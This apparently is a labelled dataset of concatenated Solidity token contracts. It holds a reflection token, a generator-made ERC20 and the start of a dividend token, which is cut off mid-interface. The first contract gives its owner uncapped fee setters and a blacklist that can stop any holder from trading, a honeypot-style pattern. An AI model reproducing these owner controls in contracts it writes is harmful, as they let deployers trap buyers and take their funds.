function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBuySellFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
_buyFee=liquidityFee;
_sellFee=liquidityFee;
}
function setmaxTX(uint256 amount) external {
require(msg.sender==owner() || msg.sender==marketingAddress,"Accessable");
maxTX = amount;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function isBlacklist(address account) public view returns (bool) {
return _isSniper[account];
}
function addBlacklist(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap');
require(!_isSniper[account], "Account is already blacklisted");
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function removeBlacklist(address account) external onlyOwner() {
require(_isSniper[account], "Account is not blacklisted");
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner() {
_feeRate = rate;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
// SPDX-License-Identifier: MIT
//https://t.me/SuperiorApe
//www.SuperiorApeErc.com
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface DividendPayingTokenOptionalInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner, address _rewardToken) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner, address _rewardToken) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner, address _rewardToken) external view returns(uint256);
}
interface DividendPayingTokenInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner, address _rewardToken) external view returns(uint256);
/// @notice Distributes ether to token holders as dividends.
/// @dev SHOULD distribute the paid ether to token holders as dividends.
/// SHOULD NOT directly transfer ether to token holders in this function.
/// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0.
function distributeDividends() external payable;
/// @notice Withdraws the ether distributed to the sender.
/// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend(address _rewardToken) external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
